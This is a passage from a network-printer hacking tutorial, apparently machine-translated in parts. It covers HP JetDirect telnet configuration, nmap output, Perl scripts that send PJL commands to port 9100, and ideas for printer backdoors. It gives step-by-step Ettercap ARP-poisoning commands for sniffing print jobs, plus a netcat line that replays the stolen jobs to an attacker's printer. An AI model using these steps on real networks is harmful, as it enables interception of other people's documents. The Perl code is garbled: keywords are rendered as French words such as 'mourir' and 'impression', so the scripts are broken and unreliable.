allow:0 > quitter ===JetDirect Parameters Configured=== IP Address : 192.168.1.22 Subnet Mask : 255.255.255.0 Default Gateway : 192.168.1.1 Syslog Server : Not Specified Idle Timeout : 90 Seconds Set Cmnty Name : butt Host Name : NPI6D47B6 Default Get Cmnty : Disabled DHCP Config : Disabled Passwd : Enabled IPX/SPX : Enabled DLC/LLC : Enabled Ethertalk : Enabled Banner page : Enabled User Quitting Connection closed by foreign host. Irongeek@Irongeek:~# telnet 192.168.33.22 Trying 192.168.33.22… Connected to 192.168.33.22. Escape character is '^]'. HP JetDirect Password: passer You are logged in Please type "?" for HELP, or "/" for current settings > allow:192.168.19.56 > allow:192.168.20.0 255.255.255.0 > allow:list Access Control List: IP: 192.168.19.56 Mask: 255.255.255.255 IP: 192.168.20.0 Mask: 255.255.255.0 > quitter ===JetDirect Parameters Configured=== IP Address : 192.168.33.22 Subnet Mask : 255.255.255.0 Default Gateway : 192.168.1.1 Syslog Server : Not Specified Idle Timeout : 90 Seconds Set Cmnty Name : butt Host Name : NPI6D47B6 Default Get Cmnty : Disabled DHCP Config : Disabled Passwd : Enabled IPX/SPX : Enabled DLC/LLC : Enabled Ethertalk : Enabled Banner page : Enabled User Quitting Connection closed by foreign host.

Irongeek@Irongeek:~#

Notice that if we now try to attach or port scan the JetDirect from an unauthorized host no connections can be made to any of the ports:

root@ScanBox:~# nmap -A 192.168.1.22 Starting Nmap 4.00 ( http://www.insecure.org/nmap/ ) at 2006-03-16 21:30 EST Warning: OS detection will be MUCH less reliable because we did not find at least 1 open and 1 closed TCP port All 1672 scanned ports on 192.168.1.22 are: closed MAC Address: 00:60:B0:6D:47:B6 (Hewlett-packard CO.) Device type: general purpose|VoIP phone|broadband router|printer|print server|scanner|specialized|telecom-misc Running: Alpha Micro AMOS, Clipcomm embedded, D-Link embedded, DEC TOPS-20, HP embedded, Liebert embedded, Nortel embedded, SMC intégré Too many fingerprints match this host to give specific OS details Nmap finished: 1 IP address (1 host up) scanned in 16.921 seconds

root@ScanBox:~#

It's generally a good idea to set up this kind of IP restriction as it can stop some forms of attack (though not sniffing of print jobs using ARP poisoning).

Don't forget to look for Stored Documents via the web interface

I'm mostly putting this here because of the Ricoh Savins I've played with, but it's good advice for HP printers aussi. Look for Stored Documents via the web interface on the printers you find; many times users will save print jobs and faxes where the can be accessed from the web without even realizing it. I've found quite a few things this way in the past while performing audits.

Coding your own scripts with PHP, Perl and PJL

I thought some of you might be interested in writing you own scripts to change the printer display, or other tasks evolving PJL. First, read some of the PJL references linked in the reference section, then play around with telneting in an issuing the PJL commands directly. You will notice that there are quite a few that can be used to query the status of the printer:

Irongeek:~# telnet 192.168.1.33 9100 Trying 192.168.1.33… Connected to 192.168.1.33. Escape character is '^]'. @PJL INFO ID @PJL INFO ID "LASERJET 4000" @PJL INFO STATUS @PJL INFO STATUS CODE=10001 DISPLAY="Ready" ONLINE=TRUE @PJL INFO PAGECOUNT @PJL INFO PAGECOUNT 536225 @PJL INFO MEMORY @PJL INFO MEMORY TOTAL=2526160 LARGEST=1204208 ^] telnet> quitter Connection closed. Irongeek:~#

I decided to use Perl for my examples since its easy to use, multiplatform and pretty easy to do Sockets with. Most *nix systems should have Perl already, if you use Windows download and install Activestate's ActivePerl from here:

http://www.activestate.com/Products/ActivePerl/

Another useful resource is the "Printer Job Language Technical Reference Manual" which can be found at:

http://lprng.sourceforge.net/DISTRIB/RESOURCES/DOCS/pjltkref.pdf read it and learn what can be done with PJL. Here are two links that may help you understand Perl and Socket programming:

http://www.perlfect.com/articles/sockets.shtml

http://www.rocketaware.com/perl/perlipc/TCP_Clients_with_IO_Socket.htm Here are a few quick Perl scripts. This first one just lets you set the LCD display on a JetDirect enabled HP Printer:

#!/usr/bin/perl -w #File name: lcd.pjl.pl #From http://www.Irongeek.com Irongeek@irongeek.com #Script to set LCD Display an HP JetDirect printer #Syntax: ./lcd.pjl.pl "Some Message" utilisation IO::Socket; $ip = $ARGV[[0]; $lcdtext = $ARGV[[1]; my $sock = new IO::Socket::INET ( PeerAddr => $ip, PeerPort => '9100', Proto => 'tcp', ) mourir "Could not create socket, Monkey boy! $!n" unless $sock; impression $sock "e%-12345X@PJL RDYMSG DISPLAY = "$lcdtext"n"; impression $sock "e%-12345Xn"; Fermer($sock)

Sometimes the above version does not work, so try:

#!/usr/bin/perl -w #File name: lcd.pjl.pl #From http://www.Irongeek.com Irongeek@irongeek.com #Script to set LCD Display an HP JetDirect printer #Syntax: ./lcd.pjl.pl "Some Message" utilisation IO::Socket; $ip = $ARGV[[0]; $lcdtext = $ARGV[[1]; my $sock = new IO::Socket::INET ( PeerAddr => $ip, PeerPort => '9100', Proto => 'tcp', ) mourir "Could not create socket, Monkey boy! $!n" unless $sock; impression $sock "@PJL RDYMSG DISPLAY = "$lcdtext"n"; Fermer($sock)

It would seem that sometimes the escape character (27 dec, 1B hex, 033 oct) and "%-12345X" is needed and sometimes it's not. Il appears from my reading that it's only needed for UEL (Universal Exit Language) commands. I'd like more details on when it has to be used and when it does not, email me if you know.

This script just sends a simple line of text to the printer directly:

#!/usr/bin/perl -w #File name: print.pjl.pl #From http://www.Irongeek.com Irongeek@irongeek.com #Script to send a simple line of text to a HP JetDirect printer #Syntax: ./print.pjl.pl "Some Text To Print" utilisation IO::Socket; $ip = $ARGV[[0]; $texttoprint = $ARGV[[1]; my $sock = new IO::Socket::INET ( PeerAddr => $ip, PeerPort => '9100', Proto => 'tcp', ) mourir "Could not create socket, Monkey boy! $!n" unless $sock; impression $sock $texttoprint; Fermer($sock)

This one does a countdown on the LCD screen, then ends with a bang:

#!/usr/bin/perl -w #File name: selfdestructlcd.pjl.pl #From http://www.Irongeek.com Irongeek@irongeek.com #Script to send a count down to the printers LCD, ending in a Bang. #Syntax: ./selfdestructlcd.pjl.pl utilisation IO::Socket; $ip = $ARGV[[0]; my $sock = new IO::Socket::INET ( PeerAddr => $ip, PeerPort => '9100', Proto => 'tcp', ) mourir "Could not create socket, Monkey boy! $!n" unless $sock; for ($i = 30; $i >= 0; $i--) impression $sock "e%-12345X@PJL RDYMSG DISPLAY = "Self Destruct in $i"n"; impression "e%-12345X@PJL RDYMSG DISPLAY = "Self Destruct in $i"n"; sleep 1; impression $sock "e%-12345X@PJL RDYMSG DISPLAY = "Bang!!!"n"; sleep 5; impression $sock "e%-12345X@PJL RDYMSG DISPLAY = "Ready"n"; impression $sock "e%-12345Xn"; Fermer($sock)

I know some of you want the script that lets you make a printer web cam like the one I had up for a short while. You can download the PHP source code here:

http://irongeek.com/downloads/printeraction.7z If you write any interesting scripts send them to me and I'll post them with your credits. Happy scripting!

Fixing a busted hard drive with Ghost Matthew Hinton (info [at] fireshadow.net) sent me some details on fixing a broken hard drive in an HP 4100 MFP with Ghost, could be useful to quite a few of you in your printer is out of warranty:

Don't know if you'd be interested in the details for your page or not. Where I work at we've been able to make a ghost image of the 4100 MFP hard drive load. This allows us to put it on new hard drives to reinstall dans the EIO slot. What drove us to this insanity is as follows. We have about 10 or so of the 4100 MFP's here. After the warranty expired, they started getting the same error – "49.FF81 error" on le display. Pretty much it's a new EIO hard disk. HP has a procedure cette may or may not work to reset it. $49 to talk to a tech over the téléphone since it's out of warranty. $345 for a new EIO disk from HP. Local gars wants $515 to come out with a new disk to fisk it. Taking apart the bad one, we noticed that it's a standard Toshiba 20 Gb laptop hard drive. The PC tech went and got a known good EIO hard disk, and we made a ghost image of it. We tried sending the ghost image retour over to the bad drive, but got a "drive too smal error". The ghost image took fine on a seagate 40 Gb note book drive. Put the seagate drive sur the controller card, reinstalled and it's working fine. Anyway, thanks for putting up the informative page. I'm using Hijetter right now to look at the variables on the printer. Cordialement, Matthew Hinton

Sniffing print jobs and replaying them How often do folk print things and think as long as no one gets hold of the hard copy there's no security risk? As it turns out, sniffing print jobs is pretty easy if you can get on the same LAN segment as the printer or print server. Since the print jobs are not encrypted sniffing and reprinting them to your own printer is comparatively a breeze if you know how. This example shows how to sniff between a Windows 2003 base print server and a JetDirect or Ricoh Savin based network printer that uses AppSocket (port 9100/tcp) for communications, but the principles should apply to other setups as well. 1. First we have to pull off a MitM (Man in the Middle) attack by ARP poisoning the JetDirect box and the Windows print server and saving the packets to a Pcap file. I'll use Ettercap on a Linux box to do this, but other apps may work as well. To pull it off I will use the following Ettercap command:

ettercap -T -q -w print.dump -M ARP /192.168.1.2/ // where 192.168.1.2 is the IP of my network printer. Note that this will cover all of your bases, but can cause one hell of an ARP storm since Ettercap has to ARP poison every host on the subnet. In some cases it might be better (and faster) to just ARP poison between two host you know the traffic will be going though. Here is an example: ettercap -T -q -w print.dump -M ARP /192.168.1.2/ /192.168.22.47/ where 192.168.1.2 is the IP of the network printer and 192.168.22.47 is the ip of the Window/*nix print server or PC sending the print job. Hit the "q" key at any time to stop the ARP poisoning and sniffing. 2. Now that we have our Pcap (also sometimes called a libpcap or tcpdump file) we have to open it up in Ethereal. Just use the File->Open menu and point it to the print.dump file made by Ettercap. 3. Once print.dump has been opened in Ethereal we need to filter il. Enter the following filter and hit Apply: tcp.flags.syn == 1 && tcp.dstport == 9100

4. As you see from the screen shot above the filter got rid of a lot of the extraneous data. These four packets represent two print jobs, or at least the beginnings of them. Packets number 158 and 159 are part of the same print job. Packets number 510 and 511 are part the 2nd print job. What we want to do now is right click every other packet, starting with the first, and choose "Follow TCP Stream".

5. Once you have chosen "Follow TCP Stream" you should see a window something like the one above. Set the drop down box to only show the traffic destined to the network printer as shown above. Set the data type to RAW and then click the "Save As" button and call the output file something like "test1.job".

6. Repeat steps 4 and 5 for every other packet to get all of the print jobs captured.

7. At this point we could open up test "test1.job" in a text editor, and if c'est un PostScript file, remove every line before:

%!PS-Adobe-3.0

and after:

%%EOF

to create a .PS file (PostScript) that could be opened up in GhostView on a *nix box. You might be able to do something similar with a PCL based print job, but I have not figured out what parts to remove yet. As it stands we can leave "test1.job" as it is, whether it's PCL or PostScript, and send it to the printer by replaying it with NetCat to a network printer we control. The command is quite simple:

cat test1.job|netcat -q 0 192.168.1.2 9100 where "test1.job" is the sniffed print job we want to replay and 192.168.1.2 is a network printer that we control. If the Netcat command seems too complex you could also just use an FTP client and FTP the captured print jobs to a JetDirect enabled printer (assuming FTP is enabled on the JetDirect box). All this seems a bit complicated I know, so I'm thinking of asking the Cain team to add this functionality to their app to make it easier.

A note on Plain-text authentication protocols Many of the above attacks are only possible because people don't enable passwords on their network printers. However, even if passwords are enabled they could still be sniffed pretty easily since most network printers use simple telnet or a web interface with out SSL to configure the system. Both telnet and http (with out SSL) passwords can easily be sniffed with packages like Ettercap, Cain or Dsniff. Some newer network printers, such as the HP Jetdirect en3700 (J7942A), can use SSL with their web interface (albeit with a self signed certificate) and the interface seems to be more that just a Java applet for using SNMP to control the Jetdirect. This is a much more secure option than the older Jetdirects that used unencrypted HTTP and SNMP v1/v2.

Other Ideas

There's still a lot more out there I need to research and play with when it comes to hacking network printers. Comme with most of my projects this is a work in progress so feel free to email me your ideas. A few interesting topics might be:

Using Phenoelit's ChaiServices information to create worms, backdoor and other malware for HP JetDirect printers.

Modifying the PFT source code to make automated apps for searching an IP space and pulling files off of the network printers.

Les vulnérabilités in network printer implementation like buffer overflows and such.

Hacking the firmware in JetDirects to create dial home (shell shoveling) drop boxes that could be left behind on target networks to help with intrusions. For those wanting to help install the HP Download Manager and look in "C:Program FilesHewlett-PackardHP Download ManagerUpgradesjetdirect" for the vendor firmwares.

Tracking Dots: http://www.eff.org/Privacy/printers/list.php

Also don't forget to check out SecurityFocus' online vulnerabilities database (http://www.securityfocus.com/) to see if your particular network printers have any outstanding issues. I know they have a few issues listed for some of the JetDirect boxes. While you're at it, check for vulnerabilities in the base OS that the network printer uses, VxWorks in the case of some JetDirects and NetBSD for the Ricoh Savins. I hope you have found this article interesting. If you have any ideas or comments please feel free to e-mail me. Happy printer hacking. Links to Tools: HP Web JetAdmin (without registering)

http://www.svrops.com/svrops/dwnldprog.htm HP JetAdmin for Window 2000 3.42, the last version to be libéré

http://www.helpdesk.umd.edu/os/windows_nt/printing/674/ HP Download Manager (for upgrading firmware)

http://www.hp.com/go/dlm_sw Ghostscript, Ghostview and GSview http://www.cs.wisc.edu/~ghost/ SmartDeviceMonitor

http://www.ricoh-usa.com/products/product_features.asp?pCategoryId=

19&pSubCategoryId=46&pCatName=Solutions&pSubCatName=

Device%20Management&pProductId=67&pProductName=SmartDeviceMonitor&tsn=Ricoh-USA Foundstone's SNScan (find network printers that use SNMP, which seems to be most of them)

http://www.foundstone.com/resources/proddesc/snscan.htm SoftPerfect's NetScan (also useful for scanning for SNMP services)

http://www.softperfect.com/products/networkscanner/ Silicosis' HP Printer Display Hack

http://www.irongeek.com/i.php?page=security/hphack Irongeek's GUI HP Printer Display Hack

http://www.irongeek.com/i.php?page=security/jetdirecthack IPIterator

http://www.irongeek.com/i.php?page=security/ipiterator Hijetter

http://www.phenoelit.de/hp/download.html Ettercap http://ettercap.sourceforge.net/

Ethereal http://www.ethereal.com/ NetCat http://netcat.sourceforge.net/ Net-SNMP http://net-snmp.sourceforge.net/

Media: Here's a collection of videos and other media on Network Printer Hacking you might be interest in:

Network Printer Hacking: Irongeek's Presentation at Notacon 2006 http://irongeek.com/i.php?page=videos/notacon2006printerhacking Slide and other resources from the above presentation http://irongeek.com/downloads/notacon2006.zip Infonomicon TV Ep 7 http://irongeek.com/i.php?page=videos/infonomicontv7

Useful links for further research: Common print server port numbers

http://members.cruzio.com/~jeffl/sco/lp/printservers.htm HP's guide to securing JetDirect printers

http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=bpj05999

Understanding, Reversing, and Hacking HP Printers by Slobotron

http://www.searchlores.org/realicra/hp_slobo.htm SecurityFocus' online vulnerabilities database http://www.securityfocus.com/ Network Printers and Other Peripherals — Vulnerabilities and Fixes by Dennis Mattison (Littlew0lf)

http://members.cox.net/ltlw0lf/printers/index.html older version: http://freshmeat.net/articles/view/445/ Securing Network Print Jobs – An LRS White Paper

http://www.lrs.com/EOM/Solutions/Papers/secure.aspx Printer Job Language Technical Reference Manual

http://lprng.sourceforge.net/DISTRIB/RESOURCES/DOCS/pjltkref.pdf Printers, Proxies and Pranksters An April Fool's Recipe for Fun by Kellegous

http://web.kellegous.com/scratch/2003/printers1KBXB/ RICOH Aficio 2035 "security'' by mslaviero

http://www.cs.up.ac.za/cs/mslaviero/archives/2005/04/28/ricoh-afficio-2035-security-or-lack-thereof/ Special thanks to Nancy for proof reading and making my English intelligible. Change Log 02/06/2007: I've updated info on the fix for the

Pharos cached print job vulnerability 01/20/2007: HP seems to have released a fix for the FTP DoS problem. See the

Printer DoSing section. 01/10/2007: Fixed and added some links in the

Printer DoSing section. 01/06/2007: Add information on the Joxean Koret attack to the

Printer DoSing section. 04/18/2006: Added link to a newer version of Littlew0lf's article. 04/10/2006: Added Media section. 04/02/2006: Added a bunch of information for my presentation at Notacon 2006

Added section: Stupid Printer Tricks Added section: Finding info about the printer using SNMP tools.Added section: Finding Printers with Google.Added section: RSH commands and Richo Savin Aficio Printers. Added section: Spamming Printers. Added section: Getting a JetDirect password remotely using the SNMP vulnerabilityAdded information about SSL with newer Jetdirects to A note on Plain-text authentication protocols et JetDirect password notes sections. Added information on SmartDeviceMonitor to Finding Network printers using Nmap and SNMP tools et Finding info about the printer using SNMP tools as well as adding screenshot of the SNMP tools mentioned. I also added some details on finding network printers via their MAC address. Added information on holding a connection to port 9100/tcp to DoSing the network or the imprimante. Added information on IPX/AppleTalk/SMB to Intro to the concepts. Added alternate Perl script and added PHP web form to Coding your own scripts with PHP, Perl and PJL. Added HP firmware location to Other Ideas.

01/18/2006: Added section on Fixing a busted hard drive with Ghost. 09/14/2005: Found another missing image, the LCD Display icon from Hijetter. It's fixed now. I also added a link suggested by Dick from Hack A Day. 09/14/2005: Hack A Day added a link to this site and I noticed that the Hijetter file system image was broken. Il should be fixed now. 09/13/2005: Added "Coding your own scripts with Perl and PJL" section. 09/11/2005: First posted. Irongeek's Notes For Later: nano /etc/init.d/sysklogd -r LAND attacks

Click to rate this post! [Total: 0 Average: 0]

Topics and keywords

Themes: Serveur d'impression

License & attribution

License: CC BY-ND 4.0.

Attribution required: yes.

Manifest: https://tutos-gameserver.fr/llm-endpoints-manifest.json

LLM Endpoints plugin version 1.1.2.